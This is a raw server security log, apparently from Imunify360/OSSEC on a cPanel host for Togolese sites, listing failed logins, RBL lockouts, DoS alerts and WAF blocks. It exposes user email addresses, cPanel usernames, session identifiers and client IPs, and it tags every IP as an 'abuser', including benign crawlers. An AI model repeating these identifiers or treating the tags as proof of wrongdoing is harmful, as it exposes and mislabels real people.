country_id: 2363686
description:
[2026-06-22 18:46:44 +0000] info [webmaild] 196.171.46.177 - vincent.sodjehoun@togointerim.net "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.137.224
country_id: 3469034
description:
Jun 22 18:48:55 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.137.224 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [22/Jun/2026:18:51:45 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6920295&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782154302 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.176.253.226
country_id: 2363686
description:
[2026-06-22 18:52:25 +0000] info [webmaild] 102.176.253.226 - secre.gene@ucao-uut.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.91
country_id: 2077456
description:
103.108.92.91 - - [22/Jun/2026:18:51:47 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10066835&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782154302 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.91


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.176.253.226
country_id: 2363686
description:
[2026-06-22 18:52:28 +0000] info [webmaild] 102.176.253.226 - secre.gene@ucao-uut.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.243.82.38
country_id: 1210997
description:
2026-06-22 18:56:43 dovecot_plain authenticator failed for H=(xaixhz6rl445w1hrtsagkjszqfkh) [103.243.82.38]:46851: 535 Incorrect authentication data (set_id=rappels@mesyscom.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.243.82.38
country_id: 1210997
description:
Jun 22 18:56:41 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.243.82.38 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.65.237.57
country_id: 1643084
description:
[2026-06-22 18:59:55 +0000] info [cpaneld] 103.65.237.57 - stephane "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user stephane (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.176.253.226
country_id: 2363686
description:
[2026-06-22 19:03:40 +0000] info [webmaild] 102.176.253.226 - secre.gene@ucao-uut.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: modsec
rule: 77987062
name: IM360 WAF: GET add-to-cart flood pattern
abuser: 45.231.120.197
country_id: 3469034
domain: www.snb.tg
description:
IM360 WAF: GET add-to-cart flood pattern||URI:/siteweb/public/index.php?add-to-cart=22861||QS:add-to-cart=22861||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.195.8.90
country_id: 3469034
description:
Jun 22 19:06:23 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.195.8.90 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.195.8.90
country_id: 3469034
description:
Jun 22 19:06:31 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.195.8.90 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [22/Jun/2026:19:06:37 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6788708&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782155194 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.91
country_id: 2077456
description:
103.108.92.91 - - [22/Jun/2026:19:06:39 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13276777&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782155195 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.91


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 35.235.140.189
country_id: 6252001
description:
2026-06-22 19:09:27 dovecot_plain authenticator failed for H=189.140.235.35.bc.googleusercontent.com (zegjg7h604ef0bujjr912s) [35.235.140.189]:16384: 535 Incorrect authentication data (set_id=info@soena.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.175.20.14
country_id: 3686110
description:
Jun 22 19:10:04 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.175.20.14 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.175.20.14
country_id: 3686110
description:
2026-06-22 19:10:06 dovecot_login authenticator failed for H=([98.170.57.251]) [45.175.20.14]:49494: 535 Incorrect authentication data (set_id=info@matosshop.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.72.176.129
country_id: 6252001
description:
34.72.176.129 - - [22/Jun/2026:19:10:41 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9882009&pdata=https%253A%252F%252F24heureinfo.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782155439 HTTP/2.0" 302 0 24heureinfo.tg "https://24heureinfo.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.72.176.129


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.65.237.57
country_id: 1643084
description:
[2026-06-22 19:10:57 +0000] info [cpaneld] 103.65.237.57 - https "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user https (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 153.37.177.219
country_id: 1814991
description:
Jun 22 19:12:21 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 153.37.177.219 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 153.37.177.219
country_id: 1814991
description:
2026-06-22 19:12:23 dovecot_login authenticator failed for H=(ip-178-46-128-225.dsl.surnet.ru) [153.37.177.219]:27510: 535 Incorrect authentication data (set_id=info@matosshop.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.72.61
country_id: 3469034
description:
Jun 22 19:11:57 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.72.61 has been locked due to Imunify RBL


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 74.63.23.248
country_id: 953987
description:
Denial of Service (DoS) attack was discovered from 74.63.23.248: 80 connections per 30 seconds to 53 port.


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 152.52.175.142
country_id: 1269750
description:
Denial of Service (DoS) attack was discovered from 152.52.175.142: 80 connections per 30 seconds to 53 port.


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 74.63.23.249
country_id: 953987
description:
Denial of Service (DoS) attack was discovered from 74.63.23.249: 80 connections per 30 seconds to 53 port.


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 61.246.71.194
country_id: 1269750
description:
Denial of Service (DoS) attack was discovered from 61.246.71.194: 80 connections per 30 seconds to 53 port.


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.210.147.41
country_id: 1819730
description:
Jun 22 19:16:45 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.210.147.41 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 159.223.76.255
country_id: 1880251
description:
2026-06-22 19:20:16 dovecot_login authenticator failed for H=(159.223.76.255) [159.223.76.255]:39934: 535 Incorrect authentication data (set_id=contact@dany2.mairie.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 159.223.76.255
country_id: 1880251
description:
Jun 22 19:20:14 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 159.223.76.255 has been locked due to Imunify RBL


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 54.82.33.143
country_id: 6252001
domain: www.test.zephyr.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/136.0.0.0 Safari/537.36||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.91
country_id: 2077456
description:
103.108.92.91 - - [22/Jun/2026:19:22:35 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9815444&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782156149 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.91


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [22/Jun/2026:19:22:43 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9856363&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782156159 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 178.90.226.29
country_id: 1522867
description:
2026-06-22 19:26:31 H=([178.90.226.29]) [178.90.226.29]:18637 F=<prakash@white-ways.com> rejected RCPT <prakash@white-ways.com>: Sender verify failed


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.168.0.186
country_id: 2363686
description:
[2026-06-22 19:31:47 +0000] info [cpaneld] 196.168.0.186 - aopsacai "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.138.16.178
country_id: 798544
description:
Jun 22 19:32:42 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.138.16.178 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 102.86.3.73
country_id: 226074
description:
[2026-06-22 19:33:43 +0000] info [cpaneld] 102.86.3.73 - pnls "GET /cpsess0359858073/3rdparty/phpMyAdmin/index.php?=undefined&login=1&post_login=18132933149748 HTTP/1.1" DEFERRED LOGIN cpaneld: cookie ip check: IP address has changed: IP Address [105.21.66.86] != Current IP Address [102.86.3.73]


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.168.0.186
country_id: 2363686
description:
[2026-06-22 19:33:49 +0000] info [cpaneld] 196.168.0.186 - aopsacai "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.96.142
country_id: 3469034
description:
Jun 22 19:34:28 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.96.142 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.74.5.91
country_id: 2395170
description:
Jun 22 19:34:48 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.74.5.91 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.54.238.57
country_id: 2542007
description:
[2026-06-22 19:35:45 +0000] info [cpaneld] 102.54.238.57 - tresorerie "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tresorerie (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [22/Jun/2026:19:35:54 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10197658&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782156952 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 141.164.91.175
country_id: 6252001
domain: butodra.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.19||T:APACHE||RA:141.164.91.175||TA:141.164.91.175||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.91
country_id: 2077456
description:
103.108.92.91 - - [22/Jun/2026:19:36:02 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9530522&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782156957 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.91


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.121.112
country_id: 1880251
description:
47.128.121.112 - - [22/Jun/2026:19:37:15 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12870552&pdata=https%253A%252F%252Ftogomedia24.tg%252Fcategory%252Ffootball%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782157033 HTTP/2.0" 302 0 togomedia24.tg "https://togomedia24.tg/category/football/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.121.112


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 31.59.24.133
country_id: 6252001
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:19-37.31.59.24.133||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 196.170.45.140
country_id: 2363686
description:
[2026-06-22 19:39:52 +0000] info [cpaneld] 196.170.45.140 NEW aopsacai:GL725ZUsgg7wVq6j address=196.170.45.140,app=cpaneld,creator=aopsacai,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 196.168.0.186
country_id: 2363686
description:
[2026-06-22 19:39:43 +0000] info [cpaneld] 196.168.0.186 NEW aopsacai:FX15JtGyXIFHcJsP address=196.168.0.186,app=cpaneld,creator=aopsacai,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.170.45.140
country_id: 2363686
description:
[2026-06-22 19:39:43 +0000] info [cpaneld] 196.170.45.140 - aopsacai "GET /cpsess3892729982/?=undefined&login=1&post_login=10334966213278 HTTP/1.1" DEFERRED LOGIN cpaneld: cookie ip check: IP address has changed: IP Address [196.168.0.186] != Current IP Address [196.170.45.140]


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.168.0.186
country_id: 2363686
description:
[2026-06-22 19:39:56 +0000] info [cpaneld] 196.168.0.186 - aopsacai "GET /cPanel_magic_revision_1781668665/frontend/jupiter/assets/application_icons/sprites/icon_spritemap.css HTTP/1.1" DEFERRED LOGIN cpaneld: cookie ip check: IP address has changed: IP Address [196.170.45.140] != Current IP Address [196.168.0.186]


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 45.147.235.246
country_id: 6252001
domain: direct7.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.19||T:APACHE||RA:45.147.235.246||TA:45.147.235.246||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 104.167.25.115
country_id: 6252001
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:19-41.104.167.25.115||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 104.28.156.110
country_id: 1880251
description:
104.28.156.110 - - [22/Jun/2026:19:49:47 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6908310&pdata=https%253A%252F%252Fcpanel.mpa-maquette.free.netmaster.tg%252F%253Flocale%253Dja&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782157783 HTTP/2.0" 302 0 cpanel.mpa-maquette.free.netmaster.tg "https://cpanel.mpa-maquette.free.netmaster.tg/?locale=ja" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:104.28.156.110


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.91
country_id: 2077456
description:
103.108.92.91 - - [22/Jun/2026:19:51:13 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6802371&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782157868 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.91


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 190.106.186.63
country_id: 3175395
description:
190.106.186.63 - - [22/Jun/2026:19:51:17 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12818835&pdata=https%253A%252F%252Ftogomedia24.tg%252Ftag%252Fdepart-du-pouvoir%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782157875 HTTP/2.0" 302 0 togomedia24.tg "https://togomedia24.tg/tag/depart-du-pouvoir/" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.6885.1464 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:190.106.186.63


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.54.238.57
country_id: 2542007
description:
[2026-06-22 19:50:30 +0000] info [cpaneld] 102.54.238.57 - pduusmyf "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [22/Jun/2026:19:51:13 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6775491&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782157868 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.197.9.44
country_id: 3175395
description:
Jun 22 19:51:28 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.197.9.44 has been locked due to Imunify RBL


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 91.234.194.198
country_id: 3017382
description:
Denial of Service (DoS) attack was discovered from 91.234.194.198: 80 connections per 30 seconds to 53 port.


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-22 19:52:46 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:33982: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 123.6.49.44
country_id: 1814991
description:
123.6.49.44 - - [22/Jun/2026:19:56:30 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10185585&pdata=https%253A%252F%252Fmacite.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782158189 HTTP/2.0" 302 0 macite.tg "https://macite.tg/" "Mozilla/5.0 (Linux; U; Android 8.1.0; zh-cn; MI 8 Build/OPM1.171019.011) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/57.0.2987.108 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:123.6.49.44


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.121.113
country_id: 1880251
description:
47.128.121.113 - - [22/Jun/2026:19:56:33 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9869470&pdata=https%253A%252F%252Ftogomedia24.tg%252Ftag%252Fde-capitale%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782158192 HTTP/2.0" 302 0 togomedia24.tg "https://togomedia24.tg/tag/de-capitale/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.121.113


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.27
country_id: 130758
description:
Jun 22 19:57:12 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.27 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.121.112
country_id: 1880251
description:
47.128.121.112 - - [22/Jun/2026:19:58:21 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9738391&pdata=https%253A%252F%252Ftogomedia24.tg%252Ftag%252Fson-statut%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782158300 HTTP/2.0" 302 0 togomedia24.tg "https://togomedia24.tg/tag/son-statut/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.121.112


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 123.6.49.18
country_id: 1814991
description:
123.6.49.18 - - [22/Jun/2026:19:57:29 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10250903&pdata=http%253A%252F%252Fmacite.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782158247 HTTP/1.1" 302 0 macite.tg "http://macite.tg/" "Mozilla/5.0 (Linux; Android 11; V2055A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:123.6.49.18


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.221.143.192
country_id: 690791
description:
Jun 22 20:00:25 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.221.143.192 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.221.143.192
country_id: 690791
description:
Jun 22 20:00:32 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.221.143.192 has been locked due to Imunify RBL


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 112.15.239.66
country_id: 1814991
description:
Denial of Service (DoS) attack was discovered from 112.15.239.66: 80 connections per 30 seconds to 53 port.


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 112.15.239.67
country_id: 1814991
description:
Denial of Service (DoS) attack was discovered from 112.15.239.67: 80 connections per 30 seconds to 53 port.


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 27.2.226.14
country_id: 1562822
description:
Denial of Service (DoS) attack was discovered from 27.2.226.14: 80 connections per 30 seconds to 53 port.


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 112.197.5.182
country_id: 1562822
description:
Denial of Service (DoS) attack was discovered from 112.197.5.182: 80 connections per 30 seconds to 53 port.


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [22/Jun/2026:20:05:25 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13265509&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782158722 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 176.97.79.119
country_id: 2750405
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:20-06.176.97.79.119||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.91
country_id: 2077456
description:
103.108.92.91 - - [22/Jun/2026:20:05:26 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7050396&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782158722 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.91


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 192.144.89.137
country_id: 2750405
description:
